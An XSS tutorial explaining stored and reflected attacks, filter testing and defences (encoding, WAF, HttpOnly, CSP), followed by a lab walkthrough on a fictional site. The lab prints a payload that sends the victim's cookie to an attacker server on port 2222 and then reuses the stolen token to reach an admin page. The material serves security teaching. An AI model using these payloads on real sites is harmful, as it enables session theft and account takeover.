Cross-Site Scripting
Last updated
Last updated
Cross-site Scripting (XSS) attacks target end-users by exploiting server weaknesses that don't check input or output properly. Unlike command injection attacks, which target the server itself, XSS attacks let attackers run malicious code on a user's browser or insert harmful HTML into web pages. XSS is a common vulnerability on both Windows and Linux/UNIX web servers.
In the example shown, an attacker uses an XSS attack by uploading harmful content to a vulnerable server. The server saves this harmful content and sends it back to anyone who visits the site. When a user visits the site, the server sends the harmful code along with other content, causing the user's browser to run the malicious code and potentially compromise their session.
To understand XSS attack risks, we need to know how browsers and websites trust each other. Browsers are powerful and handle many tasks like managing logins and using plugins. When a user asks a website for a page, the browser follows the website's instructions, which can include actions like recording video or sending authentication tokens.
In short, if a server asks a browser to send sensitive info like a cookie to another server, the browser will do it because it trusts the server. In an XSS attack, an attacker tricks the server into sending malicious code to the victim. The victim’s browser, thinking the code is safe, sends their cookie to the attacker.
In a stored XSS attack, an attacker uploads harmful code to a server that doesn’t check inputs properly. When users visit the affected page, they see the attacker’s malicious content.
An attacker uploads harmful code in their author bio on a book seller's site.
The site saves this code, often in a database or file.
When a victim views the bio page, the harmful code is sent to their browser.
The victim's browser runs the code, which might steal their authentication cookies for the attacker
Stored XSS attacks are opportunistic. They don’t target specific users; instead, anyone who visits the affected page runs the attacker's code. This code can run quietly, so victims often don’t realize they’re being attacked, making these attacks very effective.
In a reflected XSS attack, an attacker finds a weakness in how a website handles input from HTTP GET requests. For example, if a site shows search terms directly, an attacker can trick the site into displaying malicious code, such as <script>alert(1);</script>
. This code gets executed in the victim's browser, making the site vulnerable to XSS.
Here's a very simplified version:
The attacker creates a link to exploit a weakness on a book seller website.
They send this link to the victim.
When the victim clicks the link, they visit the vulnerable website.
The website runs the attacker's code, which may steal the victim's authentication token.
Reflected XSS attacks target specific people by tricking them into clicking a special link. The attack only works when the victim clicks the link; just visiting the vulnerable page won’t trigger the attack. Social engineering is often used to persuade victims to click the link.
Reflected XSS attacks trick users into trusting a fake website. For example, a phishing email might look like it’s from a trusted site, but it’s actually fake. Users are advised to check if the link matches the trusted site’s domain. Even if the link seems right, it might still be malicious, using JavaScript to attack the victim's system.
We've looked at some XSS vulnerabilities, so it's crucial to know what attackers can do with them. Online, you might see examples where the code <script>alert('XSS');</script>
shows a vulnerable page. While this confirms the page is vulnerable, it doesn't fully explain what attackers can actually do with XSS.
In an XSS attack, hackers can run their own JavaScript in a victim's browser. This allows them to make fake login forms, steal passwords, log keystrokes, capture screenshots, scan networks, or even access the victim's camera and microphone. They can also use it to install tools like cryptominer scripts.
A common XSS attack steals an authentication token from the victim. The JavaScript in this attack redirects the victim’s browser to a page controlled by the attacker, adding the current cookies. The attacker’s PHP script then saves this information to a file on their server.
To check for XSS vulnerabilities, look for places where data is sent to and shown by the server. This includes form fields, database outputs, and DNS names. Test by entering HTML tags like <hr>
into form fields to see if they are displayed, encoded, or ignored. Also, try different variations with quotes and symbols to see how the server handles them.
Web apps often use input filters to prevent XSS attacks. By injecting the string '';!--"<XSS>=&{()}
and checking the response, you can see which characters are allowed. For instance, if the server encodes the string to '';!--"<XSS>=&{()}
, it shows some characters are filtered. Despite this, attackers can still exploit vulnerabilities by using scripts in existing tags, like SRC=javascript:alert('XSS');
.
Automated testing tools are great for consistently testing web apps, whether they're big or small. Free options like ZAP Proxy, Wapiti, and Arachni can check for XSS vulnerabilities. Burp Suite is popular but needs a paid license, and Acunetix is another paid tool for finding vulnerabilities.
To protect against XSS attacks, we must carefully filter user input and encode output. Filtering dangerous characters helps, but mistakes can still leave vulnerabilities. Also, encoding meta characters (like turning &
into &
) prevents them from being misinterpreted by browsers.
Use third-party libraries to handle input filtering and output encoding automatically, like OWASP Java Encoder for Java, HTML Purifier for PHP, or Joi for Node.js. Choose web frameworks that automatically manage these tasks, and check their vulnerability history and patch response times. Avoid frameworks with slow updates to vulnerabilities.
If you can't fix an XSS flaw in your app's code, use a Web Application Firewall (WAF) to help protect against attacks. Both paid WAFs and the free ModSecurity library for Apache, IIS, and Nginx can help. Though fixing the code is better, a WAF is a good alternative if you can't fix the app.
To protect against XSS attacks, set web server response headers to mark cookies as HttpOnly. This makes cookies unreachable from JavaScript, preventing attackers from accessing them. Note that this may affect some apps that need JavaScript access to cookies, so test before using it.
Use the Content Security Policy (CSP) header to control where resources like JavaScript and images can be loaded from. For example, you can set it so that these resources only come from your own site. This helps block unauthorized sites from loading harmful content. If a CSP-capable browser detects an attack, it can report the issue using the CSP report-uri feature, sending details to a specified URL like https://server.tld/cspreport
.
Setting up a Content-Security-Policy (CSP) correctly to make sure an app works well and stays secure can be tricky. Many websites have a CSP that doesn’t actually improve security, so just having a CSP header doesn’t mean it's doing its job. Review the CSP carefully and use resources like content-security-policy.com and MDN Web Docs to help create an effective policy.
In this lab we will continue to explore the Rook Aviary website as part of the due diligence evaluation prior to acquisition by Falsimentis, Corp. This time we will identify and exploit vulnerabilities relating to a Cross-Site Scripting (XSS) attack.
Let's navigate to the Rook Aviary site at http://www.rookaviary.com.
First, let's check the Search page by clicking the Search link in the menu.
Let's type a search term like "Hello" and click "Submit." We’ll see a message saying "No results for Hello."
At first, it looks like nothing was found for the search term "Hello." But what's interesting is that the website search page includes the term we searched for in the results (showing "No results for Hello").
Let's enter another search term, this time using the string <hr>Hello</hr>.
The search response no longer shows the search term and stops with "No results for." We also notice a dark horizontal line on the webpage.
The dark horizontal line is the <hr>
tag. It shows up in the browser instead of being hidden by the website, indicating an XSS vulnerability.
To check if the server is vulnerable to XSS, let's look at the page source. Right-click the page and choose "View Page Source."
Let's try a payload like this <script>alert(1)</script>
.
We've found a reflected XSS vulnerability on the Rook Aviary Services search page. This type of XSS happens when a crafted URL makes the site display harmful content. An attacker would send this malicious URL through email, SMS, or other methods to exploit it, but it requires extra steps. We're not finished yet.
Next, we'll explore a stored XSS vulnerability on the same site.
Let's go to the Leave Feedback page. We'll type the same <hr>
string in the Comment box.
We will see the response message New record created successfully.
The Rook Aviary Services website lets us view submitted feedback on the "View Feedback" page. There's little content except our own feedback, but a horizontal line appears. Like the Search page, this one doesn’t filter inputs, allowing an attacker to exploit a stored XSS vulnerability by submitting harmful content.
Let's try using this payload <script>alert(1)</script>
on the Leave Feedback page to see what happens.
The View Feedback page is a stored XSS because the malicious content is saved on the server and shown to users. Unlike reflected XSS, where the attacker sends a harmful link, here, any user who visits the page will see the attacker's content, making it a more dangerous attack.
We now need to exploit this vulnerability to steal a session cookie. Here’s a quick summary of the steps involved:
Open a cookie catcher web process to catch the connection from the victim user.
Craft a malicious URL.
Submit the malicious URL to the victim.
We have a PHP script that saves cookie content in JSON format to a file called cookies.log
. Let's show the contents of the index.php
file in the cookiecatcher
directory as seen here.
This PHP script saves all the data sent by the victim in a GET or POST request (using $_GET or $_POST) to a file called "cookies.log." It also records any header information from the victim's browser. To run it, let's start the PHP web server on TCP port 2222.
The PHP web server will act as a capture source to collect information from the victim browser.
Let's go to the website's Leave Feedback menu. In the Comment field, let's enter this string:
document.location='http://10.10.75.1:2222/?' –> Change the victim's web browser to navigate to the attacker cookie catcher on port 2222
+document.cookie; –> Append the victim's cookie values to the end of the URL sent to the attacker cookie catcher
Let's go back to the terminal where our cookie catcher web server is running and check the content that the victim has sent.
The cookie catcher has captured a cookie with the value 77ba9cd915c8e359d9733edcfe9c61e5aca92afb
. This is visible in the GET request line after the /
and ?
characters, which are added by the attack JavaScript when it appends document.cookie
to the URL.
The cookies.log
file records data sent by the victim's browser in JSON format. We can view this file's contents using the cat
command, as shown here.
The output is hard to read, but we can use the jq
tool to format it nicely and add color, making it easier to understand.
The victim sent an HTTP GET request with a parameter called authtoken
and its value. There’s nothing in the POST section because the request was a GET request, not a POST. The browser’s request headers are included, showing the full user agent information.
Next, we'll examine how an attacker might use the stolen cookie data.
To escalate access to the admin page on the target site, we’ll use the stolen victim cookie. We’ll do this by sending an HTTP request with the cURL tool. Let's use the -b
option with cURL to include the stolen cookie value and target the admin page URL.
The curl command output shows that we successfully accessed the admin page using the stolen cookie.
We can use Firefox browser developer tools to change the cookie value instead of using cURL and separate requests.
Let's go back to Firefox and go to the Rook Aviary admin page. Open the Web Developer Tools by pressing Ctrl+Shift+K. This will show new tabs at the bottom of the browser. We'll click on the Storage tab.
In the Storage tab of Firefox, we’ll see the cookie authtoken listed under Cookies. Let's double-click the cookie value, then press CTRL+V to paste the new value from the clipboard into the box and hit Enter. The updated cookie value will now show next to the authtoken cookie name.